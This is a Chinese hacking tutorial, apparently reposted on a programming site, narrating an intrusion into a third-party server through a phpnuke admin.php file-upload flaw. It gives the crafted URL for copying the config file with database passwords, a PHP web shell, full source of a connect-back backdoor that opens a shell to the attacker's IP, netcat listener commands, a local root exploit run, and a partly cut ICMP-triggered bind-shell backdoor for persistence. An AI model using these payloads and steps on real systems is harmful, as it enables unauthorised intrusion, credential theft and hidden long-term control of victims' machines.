网站首页 新闻首页 网页设计图形动画软件编程网站开发办公软件操作系统数据库网络技术认证考试范文资料黑客攻防 书籍教程 进入论坛

学习利用phpnuke的漏洞做坏事

http://www.diybl.com/ 2007-6-16  网络 点击:  [ 评论 ]
文章搜索:    【点击打包该文章】

哎放假了,想想我晃了半辈子还没入侵过unix呢?在焦点看到了《san是怎么
利用phpnuke的漏洞做坏事的》
这篇好好文章,我看我要学习学习。
 我在google上搜了搜admin.php(多找找吧,这用的时间会很长)。哈~~看见
一个cshu.51.net/admin.php?
(这是假的了谁会用自己的巢干活啊-西~~~)在上面就上admin登陆界面,在ie上copy:csh
u.51.net/admin.php?upload=1&
file=config.php&file_name=cshu.txt&wdir=/images/&userfile=config.php&userfile_na
me=cshu.txt
————用猫干活好慢啊!(乘这时解释一下上面的东东是what意思,就是
把phpnuke的配制文件copy到/ima
ges/cshu.txt下啦!)看见filemanager界面了吗?这是上传文件的界面。但是(最讨厌的事
出现了)有时在页面的顶部出现了
一些错误信息,这一般是/images/没写的权先,怎摸办?那就找有权先的目录,在wdir=这改
改比如:wdir=/images/xxxxx/dd
dd或wdir=/../xxx/,还有../../../../看到你nobody权先能看到的所有目录。找到的目录一
定能用ie访问到哦,我找这样的目
录花了我1.8元(一个小时),成功后能在这个目录下看到一个cshu.txt的文件,打开看看c
shu.51.net/xxx/images/cshu.txt
片断

$AllowableHTML = array("p"=>2, "b"=>1, "i"=>1, "a"=>2, "em"=>1, "br"=>1,
"strong"=>1, "blockquote"=>1, "tt"=>1, "li"=>1, "ol"=>1, "ul"=>1);
######################################################################




(1=Yes 0=No This will display a new box in Statistics page with relevant server
info)

$Ephemerids = 0; $advancedstats = 0;

当然包括sql密码等敏感信息。但我不会用(你信吗?)。然后~~~上传文件phpshell.ph
p或
cmd.cgi只要server上支持我上传了cmd.php
------------test1.php------------
echo"
";
system("$cmd");
echo"
";
?>
------------test1.php----------
学san的。
输入cshu.51.net/xxx/images/cmd.php?cmd=id
看到了吧
uid=60001(nobody) gid=60001(nobody)
这样也可以看到passwd但现在谁想去cracker啊
上传个bindshell吧
/*
**
** Digit-Labs Connect-Back Backdoor - digit-labs.org
** - (c) All rights reserved
**
** Use this backdoor to access machines behind
** firewalls.
**
** [step 1] -
** setup a listening port on your box e.g:
** >nc -l -p 4000
**
** [step 2] -
** Issue the following command:
** >./cbd
**
*/









int fd, sock;
int port = 4000;<---可改改
struct sockaddr_in addr;

char mesg[]= "\n[ Digit-Labs Connect-Back Backdoor ]\n \
* Connected to Commandline...\n";

char shell[] = "/bin/sh";

int main(int argc, char *argv[]) {

while(argc < 2) {
 fprintf(stderr, "\n %s \n\n", argv[0]);
 exit(0);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));

send(fd, mesg, sizeof(mesg), 0);

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(shell, "httpd.", 0); "httpd."<---可改改,免得别人发现就不好

close(fd);
return 1;
}
不错吧!还可以绕过方火墙。
上传——————backdoor.c
在俺机上开个窗
c:\nc -l -vv -p 4000 \n
cshu.51.net/xxx/images/cmd.php?cmd=cc -o back backdoor.c
cshu.51.net/xxx/images/cmd.php?cmd=./back xxx.xxx.xx.xx(我的ip)
在看俺的窗
c:\nc -l -vv -p 4000
listening on [any] 4000 ...
connect to [*.*.*.*] from www.server.net [*.*.*.*] 2259

[ Digit-Labs Connect-Back Backdoor ]
* Connected to Commandline...
ls <-----熟悉了吧
别忘了还是nobody呢!!!
w
USER TTYFROMLOGIN@ IDLE JCPU PCPUWHAT
没人!(兴奋)开始了~~~
uname -a
Linux grasshopper.tellus.nl 2.2.17-21mdksecure #1 SMP Thu Oct 5 12:52:38 CEST
2000
i686 unknown
cd /usr/include/i586-mandrake-2.2.17/
哦是mandrakelinux
到e4gle.org那去找个local溢出的程试http://e4gle.org/exploit/os/linux/mandrake/7.2/epcs2.c
上传---------epcs2.c
cc -o x epcs2.c
./x
bug exploited successfully.
nenjoy
cd /root
ls
README_FIRST
admin
装个后门就lion写的那个吧













,have a goodluck.:) \r\n====================================\r\n\r\nyour comman
d: \0"

void child_kill();
int bind_shell();


int main(int argc, char *argv[])
{
int s, size, fromlen;
char pkt[4096];
struct protoent *proto;
struct sockaddr_in from;

signal(SIGHUP,SIG_IGN);
signal(SIGCHLD, child_kill);

if (fork() != 0) exit(0);

proto = getprotobyname("icmp");

/* can't creat raw socket */
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
exit(0);

/* waiting for packets */
while(1)
{
strcpy (argv[0], HIDEME);
do
 {
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fr
omlen)) < 0)
 printf("", size-28);

 } while (size != SIZEPACK + 28);

/* size == SIZEPACK, let's bind the shell on your port :)*/
switch(fork())
{
case -1:
 continue;

case 0:
strcpy (argv[0], HIDEIDS);
 bind_shell();
 exit(0);
}
sleep(100);
}
}


void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}

int bind_shell()
{
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
char passwd[15];

struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

chdir("/");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1)
exit(-1);

bzero((char *) &serv_addr,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);

while (1)

欢迎光临DIY部落,点击这里查看更多文章教程   【点击打包该文章】
[1] [2]
如果图片或页面不能正常显示请点击这里 站内搜索:   
上一篇文章:强制破解万象,美萍
下一篇文章:学用Linux命令

文章评论

请您留言

 

最新新闻